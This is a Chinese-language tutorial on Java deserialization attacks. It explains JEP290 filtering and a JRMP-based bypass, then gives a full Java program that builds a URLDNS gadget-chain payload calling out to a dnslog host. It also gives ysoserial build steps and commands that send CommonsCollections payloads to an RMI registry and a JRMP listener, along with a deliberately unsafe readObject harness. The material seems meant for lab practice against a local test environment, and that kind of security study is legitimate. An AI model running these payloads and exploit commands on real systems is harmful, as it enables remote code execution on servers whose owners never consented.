- 1. 黑白名单结合对反序列化的类进行检测,需要注意的是因为UnicastRef类在白名单内,JRMP客户端的payload可以用来连恶意的服务端
- 2. 检测反序列化链的深度
- 3. 在RMI过程中提供了调用对象提供了一个验证类的机制
- 4. 过滤内容可被配置
JEP290需要手动设置,只有设置了之后才会有过滤,没有设置的话还是可以正常的反序列化
利用
JEP290默认只为RMI注册表(RMI Register层)、RMI分布式垃圾收集器(DGC层)以及JMX
提供了相应的内置过滤器
Bypass JEP290 的关键在于:通过反序列化将Registry变为JRMP客户端,向JRMPListener发起JRMP请求.(8u121-8u240)
二次反序列化思维导图:
URLDNS链
URLDNS链是java原生态的一条利用链, 通常用于存在反序列化漏洞进行验证的,因为是原生态,不存在什么版本限制.
HashMap结合URL触发DNS检查的思路.在实际过程中可以首先通过这个去判断服务器是否使用了readObject()以及能否执行.之后再用各种gadget去尝试RCE.
HashMap最早出现在JDK 1.2中, 底层基于散列算法实现.而正是因为在HashMap中,Entry的存放位置是根据Key的Hash值来计算,然后存放到数组中的.所以对于同一个Key, 在不同的JVM实现中计算得出的Hash值可能是不同的.因此,HashMap实现了自己的writeObject和readObject方法.
HashMap
对于HashMap
这个类来说,他重载了readObject
函数,在重载的逻辑中,我们可以看到他重新计算了key
的Hash
跟进hash
函数,我们可以看到,它调用了key
的hashcode
函数,因此,如果要构造一条反序列化链条,我们需要找到实现了hashcode
函数且传参可控,并且可被我们利用的类,那么可以被我们利用的类就是下面的URLDNS
URLDNS
找到URLStreamHandler
这个抽象类,查看它的hashcode
实现,调用了getHostAddress
函数,传参可控
查看getHostAddress
函数,可以发现它进行了DNS查询,将域名转换为实际的IP地址
/* * @Author: * @Date: 2022-10-03 19:11:15 * @LastEditors: * @LastEditTime: 2022-10-05 10:25:36 * @Description: 请填写简介 */ package serializable.urldns; import java.io.FileOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap; public class Dnstest { public static void main(String[] args) throws Exception { HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>(); URL url = new URL("http://v0qf5g.dnslog.cn"); Class c =URL.class; Field fieldHashcode = c.getDeclaredField("hashCode"); fieldHashcode.setAccessible(true); // 发现在生成过程中,dnslog就收到了请求,并且在反序列过程后dnslog不在收到新的请求,这显然不符合我们的期望 // 原因是在put的过程中hashMap类就调用了hash方法,并且在hash方法中判断hashcode不为初始化的值(-1)时会直接返回,在序列化的时候已经进行了hashCode计算,那么在反序列化时就不会走到他真正的handler.hashCode方法里 // 所以需要修改hashCode值不为-1 fieldHashcode.set(url,1); hashmap.put(url, 22); // 反序列化之后还是需要让他发送请求,所以需要改回来 // 通俗讲如果不修改上方的hashCode值,还未反序列化就会造成一次DNSLOG请求,所以需要禁止put请求,让反序列化时的readObject去请求 fieldHashcode.set(url,-1); Serializable(hashmap); } public static void Serializable(Object obj) throws Exception { ObjectOutputStream InputStream = new ObjectOutputStream(new FileOutputStream("ser.txt")); InputStream.writeObject(obj); InputStream.close(); } }
总结
- 1. 首先找到Sink:发起DNS请求的URL类hashCode方法
- 2. 看谁能调用URL类的hashCode方法(找gadget),发现HashMap行(他重写了hashCode方法,执行了Map里面key的hashCode方法,HashMap而key的类型可以是URL类),而且HashMap的readObject方法直接调用了hashCode方法
- 3. EXP的思路就是创建一个HashMap,往里面丢一个URL当key,然后序列化它
- 4. 在反序列化的时候自然就会执行HashMap的readObject->hashCode->URL的hashCode->DNS请求
ysoserial使用
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections1 calc.exe > ser.bin java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit YOUR-IP 1099 CommonsCollections1 calc.exe
- 1. 下载源码包,使用idea编译,项目地址:https://github.com/frohoff/ysoserial
- 2. 使用idea打开源码包
- 3. 设置maven为国内源
- 1. 点击maven->点击扳手->点击maven Settings->User settings file->勾选Override
- 4. settings.xml内容为:
<?xml version="1.0" encoding="UTF-8"?> <settings xmlns="http://maven.apache.org/SETTINGS/1.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/SETTINGS/1.0.0 http://maven.apache.org/xsd/settings-1.0.0.xsd"> <mirrors> <!-- 阿里云仓库 --> <mirror> <id>alimaven</id> <mirrorOf>central</mirrorOf> <name>aliyun maven</name> <url>http://maven.aliyun.com/nexus/content/repositories/central/</url> </mirror> <!-- 中央仓库1 --> <mirror> <id>repo1</id> <mirrorOf>central</mirrorOf> <name>Human Readable Name for this Mirror.</name> <url>http://repo1.maven.org/maven2/</url> </mirror> <!-- 中央仓库2 --> <mirror> <id>repo2</id> <mirrorOf>central</mirrorOf> <name>Human Readable Name for this Mirror.</name> <url>http://repo2.maven.org/maven2/</url> </mirror> </mirrors> </settings>
- 1. 点击apply->OK
- 2. 点击刷新按钮,等待下载依赖
- 3. 点击小锤子,构建项目,如果出现报错:
java: 程序包sun.rmi.server不存在
和java: 程序包sun.rmi.transport不存在
可以不用管 - 4. 编译项目点击M命令行输入:
mvn clean package -DskipTests
- 5. 编译完成
环境:https://security-1258894728.cos.ap-beijing.myqcloud.com/TOP10/UnSerializable/java/JavaDeserializationTest.zip
URLDNS利用
- 1. 打开前面写的
Dnstest.java
将代码中的dnslog换为自己的,然后序列化恶意数据 - 2. 反序列化恶意数据,然后dnslog中会显示请求内容
RMIRegistryExploit利用
- 1. 打开环境中的
RMIServer.java
右键运行 - 2. 使用ysoserial攻击
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 CommonsCollections1 "calc"
JRMPClient利用
- 1. 打开环境中的
RMIServer.java
右键运行 - 2. 使用
ysoserial
攻击
JRMPListener利用
- • 生成反序列化数据
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections6 "calc"
- • 启动JRMP
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections6 "calc"
- • 反序列化
package com.chaitin; import java.io.FileInputStream; import java.io.IOException; import java.io.ObjectInputStream; public class Unserialization { public static Object unserialize(String fileName) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName)); Object obj = ois.readObject(); return obj; } public static void main(String[] args) throws Exception{ unserialize("jrmp.bin"); } }